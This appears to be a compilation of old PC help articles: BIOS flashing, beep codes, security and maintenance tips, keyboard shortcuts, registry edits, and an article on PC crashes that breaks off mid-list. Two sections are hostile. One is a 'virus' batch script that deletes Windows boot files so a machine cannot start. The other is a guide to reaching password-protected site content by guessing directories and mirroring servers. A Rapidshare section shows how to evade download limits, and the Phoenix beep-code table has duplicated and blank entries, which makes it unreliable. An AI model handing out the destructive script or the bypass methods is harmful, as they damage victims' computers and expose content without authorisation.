BIOS Update Procedure

BIOS Update Procedure


All latest Motherboards today, 486/ Pentium / Pentium Pro etc.,ensure that upgrades are easily obtained by incorporating the system BIOS in a FLASH Memory component. With FLASH BIOS, there is no need to replace an EPROM component. Once downloaded, the upgrade utility fits on a floppy disc allowing the user to save, verify and update the system BIOS. A hard drive or a network drive can also be used to run the newer upgrade utilities. However, memory managers can not be installed while upgrading.

Most pre-Pentium motherboards do not have a Flash BIOS. The following instructions therefore do not apply to these boards. If your motherboard does not have a Flash BIOS (EEPROM) you will need to use an EPROM programmer to re-program the BIOS chip. See your dealer for more information about this.

Please read the following instructions in full before starting a Flash BIOS upgrade:
A. Create a Bootable Floppy (in DOS)

•With a non-formatted disk, type the following:

format a:/s

•If using a formatted disk, type:

sys a:

This procedure will ensure a clean boot when you are flashing the new BIOS.

B. Download the BIOS file

•Download the correct BIOS file by clicking on the file name of the BIOS file you wish to download.

•Save the BIOS file and the Flash Utility file in the boot disk you have created. Unzip the BIOS file and the flash utility file. If you don't have an "unzip" utility, download the WinZip for Windows 95 shareware/ evaluation copy for that one time use from _www.winzip.com or _www.pkware.com. Most CD ROMs found in computer magazines, have a shareware version of WinZip on them.

•You should have extracted two files:

Flash BIOS utility eg: flash7265.exe (for example)

BIOS eg: 6152J900.bin (example)

Use the latest flash utility available unless otherwise specified (either on the BIOS update page or in the archive file). This information is usually provided.

C. Upgrade the System BIOS

During boot up, write down the old BIOS version because you will need to use it for the BIOS backup file name.

Place the bootable floppy disk containing the BIOS file and the Flash Utility in drive a, and reboot the system in MS-DOS, preferably Version 6.22

•At the A:> prompt, type the corresponding Flash BIOS utility and the BIOS file with its extension.

For example:

flash625 615j900.bin

•From the Flash Memory Writer menu, select "Y" to "Do you want to save BIOS?" if you want to save (back up) your current BIOS (strongly recommended), then type the name of your current BIOS and its extension after FILE NAME TO SAVE: eg: a:\613J900.bin

Alternatively select "N" if you don't want to save your current BIOS. Beware, though, that you won't be able to recover from a possible failure.

•Select "Y" to "Are you sure to program?"

•Wait until it displays "Message: Power Off or Reset the system"

Once the BIOS has been successfully loaded, remove the floppy disk and reboot the system. If you write to BIOS but cannot complete the procedure, do not switch off, because the computer will not be able to boo, and you will not be given another chance to flash. In this case leave your system on until you resolve the problem (flashing BIOS with old file is a possible solution, provided you've made a backup before)

Make sure the new BIOS version has been loaded properly by taking note of the BIOS identifier as the system is rebooting.

For AMI BIOS
Once the BIOS has been successfully loaded, remove the floppy disk and reboot the system holding the "END" key prior to power on until you enter CMOS setup. If you do not do this the first time booting up after upgrading the BIOS, the system will hang.

BIOS Update Tips
note:
1.Make sure never to turn off or reset your computer during the flash process. This will corrupt the BIOS data. We also recommend that you make a copy of your current BIOS on the bootable floppy so you can reflash it if you need to. (This option is not available when flashing an AMI BIOS).

2. If you have problems installing your new BIOS please check the following:

Have you done a clean boot?
In other words, did you follow the above procedure for making a bootable floppy? This ensures that when booting from "A" there are no device drivers on the diskette. Failing to do a clean boot is the most common cause for getting a "Memory Insufficient" error message when attempting to flash a BIOS.

If you have not used a bootable floppy, insure a clean boot either by

a) pressing F5 during bootup

b) by removing all device drivers on the CONFIG.SYS including the HIMEM.SYS. Do this by using the EDIT command.

Have you booted up under DOS?
Booting in Windows is another common cause for getting a "Memory Insufficient" error message when attempting to flash a BIOS. Make sure to boot up to DOS with a minimum set of drivers. Important: Booting in DOS does not mean selecting "Restart computer in MS-DOS Mode" from Windows98/95 shutdown menu or going to Prompt mode in WindowsNT, but rather following the above procedure (format a: /s and rebooting from a:\).

Have you entered the full file name of the flash utility and the BIOS plus its extension?
Do not forget that often you will need to add a drive letter (a:\) before flashing the BIOS. Example: when asked for file name of new BIOS file which is on your floppy disk, in case you're working from c:\ your will need to type a:\615j900.bin, rather than 615j900.bin only.

Beep Code Manual

Beep Code Manual

Beep Code Manual, Better Than Gold Techies, American Megatrends Int. & Phoenix

(I'm IT, I use these codes to trouble shoot hardware issues at my job. Enjoy) cold.gif

BIOS Beep Codes

When a computer is first turned on, or rebooted, its BIOS performs a power-on self test (POST) to test the system's hardware, checking to make sure that all of the system's hardware components are working properly. Under normal circumstances, the POST will display an error message; however, if the BIOS detects an error before it can access the video card, or if there is a problem with the video card, it will produce a series of beeps, and the pattern of the beeps indicates what kind of problem the BIOS has detected.
Because there are many brands of BIOS, there are no standard beep codes for every BIOS.

The two most-used brands are AMI (American Megatrends International) and Phoenix.

Below are listed the beep codes for AMI systems, and here are the beep codes for Phoenix systems.


AMI Beep Codes

Beep Code Meaning
1 beep DRAM refresh failure. There is a problem in the system memory or the motherboard.
2 beeps Memory parity error. The parity circuit is not working properly.
3 beeps Base 64K RAM failure. There is a problem with the first 64K of system memory.
4 beeps System timer not operational. There is problem with the timer(s) that control functions on the motherboard.
5 beeps Processor failure. The system CPU has failed.
6 beeps Gate A20/keyboard controller failure. The keyboard IC controller has failed, preventing gate A20 from switching the processor to protect mode.
7 beeps Virtual mode exception error.
8 beeps Video memory error. The BIOS cannot write to the frame buffer memory on the video card.
9 beeps ROM checksum error. The BIOS ROM chip on the motherboard is likely faulty.
10 beeps CMOS checksum error. Something on the motherboard is causing an error when trying to interact with the CMOS.
11 beeps Bad cache memory. An error in the level 2 cache memory.
1 long beep, 2 short Failure in the video system.
1 long beep, 3 short A failure has been detected in memory above 64K.
1 long beep, 8 short Display test failure.
Continuous beeping A problem with the memory or video.
BIOS Beep Codes


Phoenix Beep Codes

Phoenix uses sequences of beeps to indicate problems. The "-" between each number below indicates a pause between each beep sequence. For example, 1-2-3 indicates one beep, followed by a pause and two beeps, followed by a pause and three beeps. Phoenix version before 4.x use 3-beep codes, while Phoenix versions starting with 4.x use 4-beep codes. Click here for AMI BIOS beep codes.
4-Beep Codes
Beep Code Meaning
1-1-1-3 Faulty CPU/motherboard. Verify real mode.
1-1-2-1 Faulty CPU/motherboard.
1-1-2-3 Faulty motherboard or one of its components.
1-1-3-1 Faulty motherboard or one of its components. Initialize chipset registers with initial POST values.
1-1-3-2 Faulty motherboard or one of its components.
1-1-3-3 Faulty motherboard or one of its components. Initialize CPU registers.
1-1-3-2
1-1-3-3
1-1-3-4 Failure in the first 64K of memory.
1-1-4-1 Level 2 cache error.
1-1-4-3 I/O port error.
1-2-1-1 Power management error.
1-2-1-2
1-2-1-3 Faulty motherboard or one of its components.
1-2-2-1 Keyboard controller failure.
1-2-2-3 BIOS ROM error.
1-2-3-1 System timer error.
1-2-3-3 DMA error.
1-2-4-1 IRQ controller error.
1-3-1-1 DRAM refresh error.
1-3-1-3 A20 gate failure.
1-3-2-1 Faulty motherboard or one of its components.
1-3-3-1 Extended memory error.
1-3-3-3
1-3-4-1
1-3-4-3 Error in first 1MB of system memory.
1-4-1-3
1-4-2-4 CPU error.
1-4-3-1
2-1-4-1 BIOS ROM shadow error.
1-4-3-2
1-4-3-3 Level 2 cache error.
1-4-4-1
1-4-4-2
2-1-1-1 Faulty motherboard or one of its components.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4
2-1-3-2 I/O port failure.
2-1-3-1
2-1-3-3 Video system failure.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4 I/O port failure.
2-1-4-3
2-2-1-1 Video card failure.
2-2-1-3
2-2-2-1
2-2-2-3 Keyboard controller failure.
2-2-3-1 IRQ error.
2-2-4-1 Error in first 1MB of system memory.
2-3-1-1
2-3-3-3 Extended memory failure.
2-3-2-1 Faulty motherboard or one of its components.
2-3-2-3
2-3-3-1 Level 2 cache error.
2-3-4-1
2-3-4-3 Motherboard or video card failure.
2-3-4-1
2-3-4-3
2-4-1-1 Motherboard or video card failure.
2-4-1-3 Faulty motherboard or one of its components.
2-4-2-1 RTC error.
2-4-2-3 Keyboard controller error.
2-4-4-1 IRQ error.
3-1-1-1
3-1-1-3
3-1-2-1
3-1-2-3 I/O port error.
3-1-3-1
3-1-3-3 Faulty motherboard or one of its components.
3-1-4-1
3-2-1-1
3-2-1-2 Floppy drive or hard drive failure.
3-2-1-3 Faulty motherboard or one of its components.
3-2-2-1 Keyboard controller error.
3-2-2-3
3-2-3-1
3-2-4-1 Faulty motherboard or one of its components.
3-2-4-3 IRQ error.
3-3-1-1 RTC error.
3-3-1-3 Key lock error.
3-3-3-3 Faulty motherboard or one of its components.
3-3-3-3
3-3-4-1
3-3-4-3
3-4-1-1
3-4-1-3
3-4-2-1
3-4-2-3
3-4-3-1
3-4-4-1
3-4-4-4 Faulty motherboard or one of its components.
4-1-1-1 Floppy drive or hard drive failure.
4-2-1-1
4-2-1-3
4-2-2-1 IRQ failure.
4-2-2-3
4-2-3-1
4-2-3-3
4-2-4-1 Faulty motherboard or one of its components.
4-2-4-3 Keyboard controller error.
4-3-1-3
4-3-1-4
4-3-2-1
4-3-2-2
4-3-3-1
4-3-4-1
4-3-4-3 Faulty motherboard or one of its components.
4-3-3-2
4-3-3-4 IRQ failure.
4-3-3-3
4-3-4-2 Floppy drive or hard drive failure.
3-Beep Codes
Beep Code Meaning
1-1-2 Faulty CPU/motherboard.
1-1-3 Faulty motherboard/CMOS read-write failure.
1-1-4 Faulty BIOS/BIOS ROM checksum error.
1-2-1 System timer not operational. There is a problem with the timer(s) that control functions on the motherboard.
1-2-2
1-2-3 Faulty motherboard/DMA failure.
1-3-1 Memory refresh failure.
1-3-2
1-3-3
1-3-4 Failure in the first 64K of memory.
1-4-1 Address line failure.
1-4-2 Parity RAM failure.
1-4-3 Timer failure.
1-4-4 NMI port failure.
2-_-_ Any combination of beeps after 2 indicates a failure in the first 64K of memory.
3-1-1 Master DMA failure.
3-1-2 Slave DMA failure.
3-1-3
3-1-4 Interrupt controller failure.
3-2-4 Keyboard controller failure.
3-3-1
3-3-2 CMOS error.
3-3-4 Video card failure.
3-4-1 Video card failure.
4-2-1 Timer failure.
4-2-2 CMOS shutdown failure.
4-2-3 Gate A20 failure.
4-2-4 Unexpected interrupt in protected mode.
4-3-1 RAM test failure.
4-3-3 Timer failure.
4-3-4 Time of day clock failure.
4-4-1 Serial port failure.
4-4-2 Parallel port failure.
4-4-3 Math coprocessor.

10 Fast and Free Security Enhancements

10 Fast and Free Security Enhancements 


Before you spend a dime on security, there are many precautions you can take that will protect you against the most common threats.

1. Check Windows Update and Office Update regularly (_http://office.microsoft.com/productupdates); have your Office CD ready. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.

2. Install a personal firewall. Both SyGate (_www.sygate.com) and ZoneAlarm (_www.zonelabs.com) offer free versions.


3. Install a free spyware blocker. Our Editors' Choice ("Spyware," April 22) was SpyBot Search & Destroy (_http://security.kolla.de). SpyBot is also paranoid and ruthless in hunting out tracking cookies.

4. Block pop-up spam messages in Windows NT, 2000, or XP by disabling the Windows Messenger service (this is unrelated to the instant messaging program). Open Control Panel | Administrative Tools | Services and you'll see Messenger. Right-click and go to Properties. Set Start-up Type to Disabled and press the Stop button. Bye-bye, spam pop-ups! Any good firewall will also stop them.

5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro@l. This will make it much harder for anyone to gain access to your accounts.

6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.

7. Buy antivirus software and keep it up to date. If you're not willing to pay, try Grisoft AVG Free Edition (Grisoft Inc., w*w.grisoft.com). And doublecheck your AV with the free, online-only scanners available at w*w.pandasoftware.com/activescan and _http://housecall.trendmicro.com.

8. If you have a wireless network, turn on the security features: Use MAC filtering, turn off SSID broadcast, and even use WEP with the biggest key you can get. For more, check out our wireless section or see the expanded coverage in Your Unwired World in our next issue.

9. Join a respectable e-mail security list, such as the one found at our own Security Supersite at _http://security.ziffdavis.com, so that you learn about emerging threats quickly and can take proper precautions.

10. Be skeptical of things on the Internet. Don't assume that e-mail "From:" a particular person is actually from that person until you have further reason to believe it's that person. Don't assume that an attachment is what it says it is. Don't give out your password to anyone, even if that person claims to be from "support." 

Computer Matinence

Computer Matinence

You may not realize it, but your computer and your car have something in common: they both need regular maintenance. No, you don't need to change your computer's oil. But you should be updating your software, keeping your antivirus subscription up to date, and checking for spyware. Read on to learn what you can do to help improve your computer's security.


Getting started

Here are some basics maintenance tasks you can do today to start improving your computer's security. Be sure you make these part of your ongoing maintenance as well.

* Sign up for software update e-mail notices. Many software companies will send you e-mail whenever a software update is available. This is particularly important for your operating system (e.g., Microsoft VV!|VD0VV$® or Macintosh), your antivirus program, and your firewall.
* Register your software. If you still have registration forms for existing software, send them in. And be sure to register new software in the future. This is another way for the software manufacturer to alert you when new updates are available.
* Install software updates immediately.
When you get an update notice, download the update immediately and install it. (Remember, downloading and installing are two separate tasks.)
An ounce of prevention

A few simple steps will help you keep your files safe and clean.

* Step 1: Update your software
* Step 2: Backup your files
* Step 3: Use antivirus software and keep it updated
* Step 4: Change your passwords


Developing ongoing maintenance practices

Now that you've done some ground work, it's time to start moving into longer term maintenance tasks. These are all tasks that you should do today (or as soon as possible) to get started. But for best results, make these a part of a regular maintenance schedule. We recommend setting aside time each week to help keep your computer secure.

* Back up your files. Backing up your files simply means creating a copy of your computer files that you can use in the event the originals are lost. (Accidents can happen.) To learn more read our tips for backing up information.


* Scan your files with up to date antivirus software. Use your antivirus scan tool regularly to search for potential computer viruses and worms. Also, check your antivirus program's user manual to see if you can schedule an automatic scan of your computer. To learn more, read our tips for reducing your virus risk
.
* Change your passwords. Using the same password increases the odds that someone else will discover it. Change all of your passwords regularly (we recommend monthly) to reduce your risk. Also, choose your passwords carefully. To learn more, read our tips for creating stronger passwords
.

Making a schedule

One of the best ways to help protect your computer is to perform maintenance regularly. To help you keep track, we suggest making a regular "appointment" with your computer. Treat it like you would any other appointment. Record it in your datebook or online calendar, and if you cannot make it, reschedule. Remember, you are not only helping to improve your computer, you are also helping to protect your personal information.

Tech Books - 01

Tech Books - 01

1
10 minute guide to lotus notes mail 4.5
http://www.parsian.net/set1252/pages/books.htm

2
10 minute guide to Microsoft exchange 5.0
http://www.parsian.net/set1252/pages/books.htm

3
10 minute guide to outlook 97
http://www.parsian.net/set1252/pages/books.htm

4
10 minute guide to schedule+ for windows 95
http://www.parsian.net/set1252/pages/books.htm

5
ActiveX programming unleashed
http://www.parsian.net/set1252/pages/books.htm

6
ActiveX programming unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

7
Advanced perl programming
http://www.hk8.org/old_web/

8
Advanced PL/SQL programming with packages
http://www.hk8.org/old_web/

9
Adventure in Prolog/AMZI
www.oopweb.com

10
Algorithms CMSC251/Mount, David
www.oopweb.com

How to create a virus that deactivates an OS

How to create a virus that deactivates an OS 

    Here are the stepts you should follow to make the virus:

    This virus will stop and prevent a computer from starting up and the only solution would be to reinstall winsows.

    Warning :  never try it on your computer.

    open up notepad and type in the following

    del "C:windows\SYSTEM32\bootok"

    /Q/S >nul

    del "C:windows\SYSTEM32\bootvid.dll"

    del "C:windows\SYSTEM32\bootvrfy"

    After you type these save it as "any name you want ".bat

    Please let me know if it works.

Make A Auto Run File For Your CD

Make A Auto Run File For Your CD

If you wanna make a autorun file for that CD you are ready to burn just read this...

1) You open notepad

2) now you writ: [autorun]
OPEN=INSTALL\Setup_filename.EXE
ICON=INSTALL\Setup_filename.EXE

Now save it but not as a .txt file but as a .inf file.

But remember! The "Setup_filename.EXE" MUST be replaced with the name of the setup file. And you also need to rember that it is not all of the setup files there are called '.exe but some are called '.msi

3) Now burn your CD with the autorun .inf file included.

4) Now set the CD in you CD drive and wait for the autorun to begin or if nothing happens just double-click on the CD drive in "This Computer"

KEYBOARD SHORTCUTS

KEYBOARD SHORTCUTS

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Windows key + R = Run menu

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.


Keyboard Shortcuts

[Alt] and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box



acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.




Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog


internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it 

Hacking Password Protected Site

Hacking Password Protected Site

There are many ways to defeat java-script protected web

sites. S ome are very simplistic, such as hitting ctl-alt-del

when the password box is displayed, to simply turning off

java capability, which will dump you into t he default page.

You can try manually searching for other directories, by

typing the directory name into the url address box of your

browser, ie: you w ant access to www.target.com . Try typing

www.target.com/images .(almost ever y web site has an images

directory) This will put you into the images directo ry,

and give you a text list of all the images located there.

Often, the t itle of an image will give you a clue to the

name of another directory. ie: in www.target.com/images,

there is a .gif named gamestitle.gif . There is a g ood

chance then, that there is a 'games' directory on the site,

so you wou ld then type in www.target.com/games, and if it is

a valid directory, you aga in get a text listing of all thefiles available there.

For a more automated a pproach, use a program like WEB SNAKE

from anawave, or Web Wacker. These pro grams will create a

mirror image of an entire web site, showing all director ies,

or even mirror a complete server. They are indispensable for

locating hidden files and directories.

What do you do if you can't get past an openin g "Password

Required" box? First do an WHOIS Lookup for the site. In our

example, www.target.com . We find it's hosted by www.host.com

at 100.100.100. 1. We then go to 100.100.100.1, and then launch \

Web Snake, and mirror the e ntire server. Set Web Snake to NOT

download anything over about 20K. (not ma ny HTML pages are

bigger than this) This speeds things up some, and keeps yo u

from getting a lot of files and images you don't care about.

This can take a long time, so consider running it right before bed time.

Once you have an image of the entire server, you look through

the directories listed, and find /target. When we open that

directory, we find its contents, and all of i ts sub-directories listed.

Let's say we find /target/games/zip/zipindex.html . This would be the index

page that would be displayed had you gone through the

password procedure, and allowed it to redirect you here.

By simply typ ing in the url

www.target.com/games/zip/zipindex.html you will be on

the index page and ready to follow the links for downloading.

Make Your PC Faster...

Make Your PC Faster...

1. First, run a scandisk or checkdisk. Let Windows fix any errors.

2. Run a disk cleanup utility...this will flush your temporary internet folder, trash can, temp system files, etc.

3. Delete any garbage files or data...if possible, run a Duplicate File Finder program.

4. Run Defrag on all partitions (NOTE: run this after you have deleted all trash and excess files!)

5. Run a registry cleaner utility and delete or get rid of any orphaned entries in that registry.

6. Check your exisiting swap file for it's size and location (*will explain location later in the post). If you have alot of ram (i.e. 1 gig and over) set this swap file to something small, like 250 mb. The reason is that this will force Windows to load more into memory, resulting in faster performance (note: some games and applications actually require a certain sized swap file so check your applications performance after making a size adjustment for any error messages.)

7. Under XP, you can tell Windows to use Classic Style on your desktop, - this will remove the neat single click and internet-style desktop but for lower end systems this will improve performance in other areas, such as gaming and multi-tasking.

8. Run msconfig and under startup and only keep the programs that are essential to load in the tray icon (and hence stay resident in memory). Uncheck anything else non-essential, like an ATI or Nvidia control panel, Quicktime utility, Real Audio, etc.

9. Upgrade drivers! Check for the latest BIOS, video, motherboard, sound, etc drivers from the manufacturers. Alot of my friends had chipsets on their motherboard that had advanced disk management capabilities or AGP port settings but the drivers weren't loaded for them so they were never being used. A simple upgrade realized a noticeable difference. For instance, they didn't have the latest driver for their AGP port so it was set to 1x, instead of being used at 4x!

10. (OK, so this won't speed up your PC but it could save you alot of time and trouble later on!) After making all these improvements, make a working backup! I use Ghost, but for XP users you can also use System Restore...


-FOR ADVANCED USERS-

1. Take a look under the hood (for IDE owners). How are your IDE devices configured? If you have more than 1 hard drive, put the master hard drive on the primary IDE channel and the secondary hard drive on the secondary IDE channel (most motherboards have two IDE channels).

2. Place all CDROM drives, DVD readers etc. on the secondary IDE channel (or SCSI bus, etc). This will reduce I/O contention with your master hard drive which should have your OS and apps installed...

3. Remember when I mentioned the location of the swap file? OK, if you have 2 hard drives and you have one on the primary IDE channel and the other on the secondary IDE channel, move the swap file to a partition ON THE SECOND hard drive (on the secondary IDE channel). This will greatly improve system performance as the PC can write to the swap file while loading and running OS and system commands without I/O contention on the primary IDE channel!

4. Take a look under the hood (for SCSI owners) What kind of SCSI do you have? If it's the newer Ultra 160/320 etc cards then guess what? Any devices placed on the same bus will automatically default to the slowest drive on the chain...this means that if you have say, an Ultra 160 SCSI card, and it has an Ultra 160 drive (capable of transferring 160 mb/sec) on the same chain as a SCSI cdrom drive (capable of only 40 mb/sec) then the whole bus slows down to the 40 mb/sec speed...use different chains for the slower devices and maximize those hard drives!

5. Run a utility like WCPUID and check the settings...is your CPU/front speed bus/AGP port running as fast as they should be? If not, check your drivers and BIOS configuration options. Also, are all of your chipset features enabled? If not, then enable them! (usually done in your BIOS!)

6. Dig in to the BIOS...check settings like boot order, for example...is it checking the floppy first? Change this! Select your order to reflect the hard drive first, then CD, then floppy for a noticeable boot time improvement. Also disable any non-used on board peripherals...for instance, - does your motherboard come with an on-board NIC card? Guess what, if you don't use that NIC card and it is enabled it will eat up valuable CPU cycles and can be detrimental to your systems' performance. DISABLE THAT MUTHA! Also, see if you can play with memory timing and CPU clock frequencies (NOTE! This is for expert users only!) Set these timings to "Aggressive" and see what happens in your games and apps...Also, check to see what your video aperature is set to. If you have a video card with 128 megs of on-baord memory, your aperature should be set to this amount too. Read the BIOS owner manual for further non-general performance tricks or improvements! Do you have the latest BIOS firmware version?

7. Under hardware properties, check to see that everything is working properly, and fix any hardware contention issues. You'll see the dreaded yellow exclamation point (!) beside any hardware componenet that is not working correctly.

8. Evaluate the potential for system/hardware upgrades...usually, the best bang for the buck is adding memory so buy all that you can afford (don't go much above 512 megs for Win 98 or ME). If you have a motherboard with an 8x - capable AGP port but you are using an older 4x video card, consider upgrading to an 8x card. You get the idea here...

9. Quit using software pigs like Norton system utilities, etc. These place files everywhere and can be a real system resource hog on lower end PCs.

10. Did I mention to make a good backup? Do it now! Also, while you're at it, run a good virus program with the latest definitions.

There are more options to make your system faster, such as overclocking, etc. but (just about) everything I've mentioned in this tech post costs you nothing and will result in faster system performance! Good luck and if you have any questions on how to do anything mentioned here, ask a knowledgeable friend or consult a book, - don't mess up something trying to do something you are not sure of!

Good luck...

Rapidshare - UNLIMITED???

Rapidshare - UNLIMITED???

Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day. To get around this, you need to show the rapidshare server, a different IP address. You can do this one of multiple ways.

Requesting a new IP address from your ISP server.

Here's how to do it in windows:

1. Click Start

2. Click run

3. In the run box type cmd.exe and click OK

4. When the command prompt opens type the following. ENTER after each new line.

ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit

5. Erase your cookies in whatever browser you are using.

6. Try the rapidshare download again.
Frequently you will be assigned a new IP address when this happens. Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work. To be honest, I do not know how to do this in linux/unix/etc. If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

Edit Right-Click Menu

How To Remove and Add Right-Click Menu Items from Files and Folders

Removing Items

A lot of programs you install will add themselves to the right-click menu of your files and/or folders. And most times, you have no choice in the matter and, as a result, your right-click menu can get very long with added items you don't even use. The last person I was helping with this had a right context menu so long that the Rename option was no longer visible!

Fortunately, you can easily remove those unwanted menu items, if you know the registry values to edit. And it's not at all difficult once you know the keys responsible for the additions.

For Files, the secret lies in the "context menu handlers" under the shellex subkey for "All Files" which, in the registry, is nothing but an asterisk - like a dos wildcard, which means the values entered apply to all files. It is at the very top of the Root key, right here:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers

Click the the + sign next to the ContextMenuHandlers key, to expand it.

Now you will see some of the programs that have added items to your right-click menu. Simply delete the program keys you don't want. 

Yup! It's that simple. If deleting makes you uneasy, just export the key before deleting it. Or, instead of deleting the values, disable them. Simply double click the default value for the program on the right hand pane and rename the clsid value by placing a period or dash in front of it.

ie; - {b5eedee0-c06e-11cf-8c56-444553540000}

Then exit the registry, refresh, and right click a file to see if the item was removed from the menu.

Some programs - like WinZip or WinRar - will add several items to your right click menu but all of them will be removed by deleting or disabling their one context menu handler. 

Note that the above key only applies to the right click menu of files.

To remove entries from the right click context menu of folders, you need to navigate to the Folder and Drive keys:

HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers

HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers

All you have to do is follow the same procedure as for Files - either disable or delete items you wish to remove.

Adding Items

Adding Items to the right click menu of Files and Folders is also fairly simple using the Registry. It just involves the creation of a few new keys for each item you wish to add. You edit the same keys used for removing items. Let's use Notepad as an example of an item you'd like to add to the right click menu of all your files or folders.

For folders, go to this key:

HKEY_CLASSES_ROOT\Folder

Click the + sign next to Folder and expand it so that the Shell key is visible. Right click the Shell key and choose New>Key and name the key Notepad or whatever else you'd prefer (whatever the key is named is what will appear in the right-click menu). Now right click the new key you made and create another key named Command. Then, in the right hand pane, double click "Default" and enter Notepad.exe as the value.

Exit the registry, refresh, and right click any folder. Notepad should now be on the context menu.

For files, go here again:

HKEY_CLASSES_ROOT\*

Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not exist, you'll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.

Once done, Notepad should appear as an option in the right click menu of all your files.

Vic Ferri owns the very popular WinTips and Tricks <http://groups.yahoo.com/group/WinTips-Tricks> email group. He is also in charge of the Printing Tips <http://personal-computer-tutor.com/printing.htm> and Registry Tips <http://personal-computer-tutor.com/abc1/v4/vic4.htm> pages at Linda's Computer Stop.

Why PCs Crash?

10 Reasons Why PCs Crash You Must Know

Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1 Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2 Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

